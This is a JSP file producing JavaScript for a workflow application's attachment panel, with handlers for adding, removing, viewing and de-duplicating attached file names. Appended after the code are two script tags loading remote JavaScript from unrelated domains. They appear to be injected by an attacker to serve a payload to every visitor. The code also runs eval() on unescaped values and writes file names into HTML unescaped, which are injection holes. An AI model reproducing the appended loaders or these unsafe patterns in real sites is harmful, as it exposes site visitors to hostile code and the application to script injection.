﻿<%@ page contentType="application/x-javascript;charset=UTF-8" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>

<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.framework.*" %>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>

var attachedFiles = new Array();
var tmpFileColor = "#FFFFFF";
var overColor = "#B5D2EA";
var downColor = "#FFCC99";
var outColor = "#FFFFFF";

  function Attachment(type, value, display, details){
    this.type = type || '';
    this.value = value || '';
    this.display = display || '';
    this.details = details || '';
  }

  function redrawAttachmentPanelForWorkflow(){
    attachmentContent = '';
    for (var i=0; i<attachedFiles.length; i++) {
      attachmentContent += '<span id="attachment'+i+'" onmouseover=\"updateAttachmentPanel(this, \'over\');\" onmouseout=\"updateAttachmentPanel(this, \'out\');\" onmousedown=\"updateAttachmentPanel(this, \'down\');\" oncontextmenu="return false" >'+attachedFiles[i].display+'; </span>';
    }
    ChangeDivContent('attachmentDiv', attachmentContent);
    var attachmentDiv = FindObj('attachmentDiv');
    if (attachmentDiv) {
      if (document.layers) attachmentDiv.captureEvent(Event.KEYPRESS);
      attachmentDiv.onkeydown = handleKeyPress;
      updateVariablesForWorkflow();
    }
  }

  function handleKeyPress(e) {
    var keyCode = -1;
    if (e && e.which) keyCode = e.which; // NS4 & NS6
    else if (window.event && window.event.keyCode) keyCode = window.event.keyCode; // IE

    // keyCode now contains the ASCII code of the key hit 65 = A, 66 = B, etc

   if ( keyCode == 46 || keyCode == 8 ) {
     handleRemoveAttachment();
   }
  }

 function handleRemoveAttachment(){
  if (activeRow != null) {
    activeIndex = parseInt(activeRow.id.substring(10),10);
    attachment = attachedFiles[activeIndex];
    attachedFiles = arrayRemoveElement(attachedFiles, activeIndex);
    activeRow = null;
    redrawAttachmentPanelForWorkflow();
//    updateVariablesForWorkflow(attachment.type);
  }
  return false;
 }

 function updateVariablesForWorkflow(type){
    var frm;
    if (!frm) {
      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
      }
    }
    if(typeof type == 'undefined' || type == 'dms'){
      updateValue = '';
      updateDisplay = '';
      for(i=0;i<attachedFiles.length;i++){
        attachment = attachedFiles[i];
        if(attachment.type == 'dms'){
          updateValue += attachment.value +"<%=GlobalConstant.FILENAME_SEPARATOR%>";
          updateDisplay += attachment.display + ";";
        }
      }
      frm.dmsFileNames.value = updateValue;
      frm.displayDmsFileNames.value = updateDisplay;
    }

    if(typeof type == 'undefined' || type == 'normal'){
      cnt = 0
      updateValue = '';
      updateDisplay = '';
      for(i=0;i<attachedFiles.length;i++){
        attachment = attachedFiles[i];
        if(attachment.type == 'normal'){
          cnt++;
          updateValue += attachment.value +"|";
          updateDisplay += attachment.display +";";
        }
      }
      frm.fileNames.value = cnt+"|"+updateValue;
      frm.displayFileNames.value = updateDisplay;
    }

  }

  function arrayRemoveElement(arArray, Index){
    return arArray.slice(0,Index).concat(arArray.slice(Index+1));
  }

  function updateAttachmentPanel(spanObj, mode) {
    var overColor = "#B5D2EA";
    var downColor = "#FFCC99";
    var outColor = "#FFFFFF";
    var domDetect = false;

    if (typeof(window.opera) == 'undefined' && typeof(spanObj.getAttribute) != 'undefined') {
  //    domDetect = true;
    }
    if (mode == "over") {
      if (domDetect) {
        spanObj.setAttribute('bgcolor', overColor, 0);
      } else {
        spanObj.style.backgroundColor = overColor;
      }
    } else if (mode == "out") {
      var tmpColor = outColor;
      if (spanObj == activeRow) {
        tmpColor = downColor;
      }

      if (domDetect) {
        spanObj.setAttribute('bgcolor', tmpColor, 0);
      } else {
        spanObj.style.backgroundColor = tmpColor;
      }
    } else if (mode == "down") {
      
      document.oncontextmenu=hideRightMenu;
      
      if (activeRow != null) {
        if (domDetect) {
          activeRow.setAttribute('bgcolor', outColor, 0);
        } else {
          activeRow.style.backgroundColor = outColor;
        }

      }

      if (activeRow == spanObj) {
        //activeRow = null;
        if (domDetect) {
          spanObj.setAttribute('bgcolor', outColor, 0);
        } else {
          spanObj.style.backgroundColor = outColor;
        }

      } else {
        activeRow = spanObj;

        if (domDetect) {
          spanObj.setAttribute('bgcolor', downColor, 0);
        } else {
          spanObj.style.backgroundColor = downColor;
        }
      }
      var result = "";
      result = ShowAttachmentOverlib();
      return overlib(result,FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);
//      alert(result);

    }
  }

  function ShowAttachmentOverlib() {
    var tableWidth = 140;
    var result = "";
    result += '<table width=\'' + tableWidth + '\' cellspacing=\'0\' cellpadding=\'1\'style=\'border-style:outset;border-width:2;background-color:#EEEEEE;\'>';
    result += '  <tr bgcolor=\'#1C4DA6\'>';
    result += '    <td align=\'left\' valign=\'middle\' height=\'18\'>';
    result += '    <nobr>&nbsp;<b><font color=\'#FFFFFF\'> <bean:message key="workflow.attachment.select.operation"/></font></b>&nbsp;</nobr>';
    result += '    </td>';
    result += '    <td align=\'right\' valign=\'middle\' height=\'18\'>';
    result += '    <a href=\'javascript:void(0)\' onclick=\'cClick()\'><img src=\'<html:img src="IconLayerCloseButton.gif"  pathOnly="true"/>\' border=\'0\'></a>';
    result += '    </td>';
     result += '  </tr>';
    result += '  <tr bgcolor=\'#CCCCCC\'><td colspan=\'2\'></td></tr>';
    result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\'javascript:handleRemoveAttachment();cClick();\'><td colspan=\'2\'>';
    result += '  <a href="javascript:void(0)" onclick="" style="text-decoration:none;"><bean:message key="workflow.attachment.remove_this"/></a><br>';
    result += '  </td></tr>';
    result += '  <tr bgcolor=\'#CCCCCC\'><td colspan=\'2\'></td></tr>';

    result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\'javascript:handleRemoveAllAttachment();cClick();\'><td colspan=\'2\'>';
    result += '  <a href="javascript:void(0)" onclick="return(false);" style="text-decoration:none;"><bean:message key="workflow.attachment.remove_all"/></a><br>';
    result += '  </td></tr>';
    result += '  <tr bgcolor=\'#CCCCCC\'><td colspan=\'2\'></td></tr>';
    
    result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\'javascript:handleViewAttachment();cClick();\'><td colspan=\'2\'>';
    result += '  <a href="javascript:void(0)" onclick="return(false);" style="text-decoration:none;"><bean:message key="workflow.attachment.view_attachment"/></a><br>';
    result += '  </td></tr>';
     
    result += '</table>';
   return(result);
  }
  
  function handleViewAttachment(){
    if (activeRow != null) {
      activeIndex = parseInt(activeRow.id.substring(10),10);
      attachment = attachedFiles[activeIndex];
    
      var url = "<%=request.getContextPath()%>/jsp/workflow/ViewWorkflowAttachment.jsp?attachmentName="+attachment.value+"&attachmentType="+attachment.type;
      var name = "DCIVisionPopupViewAttahcment";
      var popW = "800";
      var popH = "600";
      var feature = "scrollbars=yes,resizable=no";
      
      if(navigator.appName.indexOf("Netscape") >= 0){
        var str = document.location.href;
        var httpStr = str.substring(0,str.indexOf("<%=request.getContextPath()%>"));
        return OpenCenteredPopup(httpStr+url, name, popW, popH, feature);  
      }else{
        return OpenCenteredPopup(url, name, popW, popH, feature);  
      }
    }
    return false;
  }

  function handleRemoveAllAttachment(){
      attachedFiles=new Array();
      redrawAttachmentPanelForWorkflow();
  }

  function PutFileNames(sValue, sName) {
    var frm;
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
    var oldUpdateFileValueLength = "";
    var newUpdateFileValueLength = "";
    var curUpdateFileValueLength = "";
    var strValue = unescape(sValue);
    var strName = unescape(sName);
    oldUpdateFileValueLength = (frm.oldUpdateFileValue.value).substring(0,1);
    newUpdateFileValueLength = strValue.substring(0,1);
    curUpdateFileValueLength = parseInt(oldUpdateFileValueLength)+parseInt(newUpdateFileValueLength);
    frm.fileNames.value = curUpdateFileValueLength+"|"+strValue.substring(2,strValue.length)+(frm.oldUpdateFileValue.value).substring(2,(frm.oldUpdateFileValue.value).length);
    frm.displayFileNames.value = unescape(sName)+frm.oldUpdateFileText.value;
    /**
    * Adding newly uploaded files to array and redraw the attachment panel
    */
    if(strValue.length>2){
      var files = strValue.substring(2, strValue.length-1).split("|");
      for(i=0;i<files.length;i++){
        //  attachedFiles[i] = files[i].substring(0, files[i].indexOf(":"));
        files[i] = new Attachment('normal', files[i], files[i].substring(0, files[i].indexOf(":")), '');
      }
      attachedFiles = attachedFiles.concat(files);
      attachedFiles = addSuffixToRepeatedFileNameInParaFlow(attachedFiles);
      redrawAttachmentPanelForWorkflow();
    }
    return false;
  }
  
  /**
   * Adding suffix to repeated filename in ParaFlow support doc section
   * param attachedFiles,Array type,the files name array of user seleted
   * return attachedFiles,the modifed files name array
   */
  function addSuffixToRepeatedFileNameInParaFlow(attachedFiles){
   	var flowUploadType = 'normal' ;
    var fileName,fileNameCmp;
    var fileValue;
    var lastIndex;
    var reminder;
    
    if(!attachedFiles||attachedFiles.length<0){
      return attachedFiles;
    }
    
    for(var i=0;i<attachedFiles.length;i++){
      //only deal with workflow upload files name
      if(attachedFiles[i].type!=flowUploadType||!attachedFiles[i].value){
        continue;
      }
      //save the origin value of file name
      if(!attachedFiles[i].originValue){
        attachedFiles[i].originValue = attachedFiles[i].value;
      }
      //reset the sign of the file name which have comparaed and modified
      attachedFiles[i].modified = false;     
       
      //reset display file name
      fileValue = attachedFiles[i].originValue;
      fileName = fileValue.substring(0, fileValue.indexOf(":"));
      attachedFiles[i].display = fileName; 
      //reset file value
      attachedFiles[i].value = attachedFiles[i].originValue;
    }  
    
    //recompare files name    
    for(var i=0;i<attachedFiles.length;i++){      
      //only deal with workflow upload files name
      if(attachedFiles[i].type!=flowUploadType||!attachedFiles[i].value){
        continue;
      }                   
      fileValue = attachedFiles[i].originValue;
      fileName = fileValue.substring(0, fileValue.indexOf(":"));
      for(var j=i+1;j<attachedFiles.length;j++){
      	if(attachedFiles[j].type!=flowUploadType||!attachedFiles[j].value){
          continue;
        }        
        if(attachedFiles[j].modified == true){
          continue;
        }
        fileValue = attachedFiles[j].originValue;
        fileNameCmp = fileValue.substring(0, fileValue.indexOf(":"));
        reminder = fileValue.substring(fileValue.indexOf(":"),fileValue.length);
                      
        if(fileName==fileNameCmp){
          fileNameCmp = getUnRepeatFileName(fileNameCmp);                                               
          attachedFiles[j].display =  fileNameCmp;
          attachedFiles[j].value = fileNameCmp + reminder;
          attachedFiles[j].modified = true;
        }
      }          
    }
    return attachedFiles;
  }
  
  /**
   * check whether the flow upload file name repeated and return a unrepeated file name
   * para fileNameCmp,the file name to be checked 
   * return a unrepeated file name
   */  
  function getUnRepeatFileName(fileNameCmp){
   	var flowUploadType = 'normal';
    var lastIndex;
    var fileValue;
    var isRepeat;
    var fileName;
    var newFileName;
    
    if(!fileNameCmp||!attachedFiles||attachedFiles.length<0){
    	return fileNameCmp;
    }
    lastIndex = fileNameCmp.lastIndexOf('.');   
    for(var i=0;i<attachedFiles.length;i++){
    	//try to set a unrepeated file name    	
      newFileName = fileNameCmp.substring(0,lastIndex) + "("+(i+1)+")" +
                                 fileNameCmp.substring(lastIndex,fileNameCmp.length);
      isRepeat = false;
    	for(var j=0;j<attachedFiles.length;j++){
    		if(attachedFiles[j].type!=flowUploadType||!attachedFiles[j].value){
          continue;
        }    
        fileValue = attachedFiles[j].value;
        fileName = fileValue.substring(0, fileValue.indexOf(":"));
        if(fileName==newFileName){
       	   isRepeat = true;
       	   break;
        }
      }
      if(isRepeat == false){
        return newFileName;
      }
    }
    return newFileName;
  }
   
  function setDmsFileNamesValueForWorkflow(displayDmsFileNames,dmsFileNames){
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
    eval('frm.displayDmsFileNames.value = '+'"'+displayDmsFileNames+'"');
    eval('frm.dmsFileNames.value = '+'"'+dmsFileNames+'"');
    /**
    * Adding newly chosen DMS file to array and redraw attachment panel
    * TODO: handle remove
    */

    var files = frm.dmsFileNames.value.substring(0, frm.dmsFileNames.value.length-1).split("<%=GlobalConstant.FILENAME_SEPARATOR%>");
    for(i=0;i<files.length;i++){
      //  attachedFiles[i] = files[i].substring(0, files[i].indexOf(":"));
      files[i] = new Attachment('dms', files[i], files[i].substring(files[i].indexOf(":")+2, files[i].lastIndexOf(":")-1), '');
    }
    attachedFiles = attachedFiles.concat(files);
    redrawAttachmentPanelForWorkflow();
    // End
    //return(false);
  }
  
   function hideRightMenu() {
     if (event.button==0 || event.button==2) {      
       event.button=1;       
     }
   } 


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>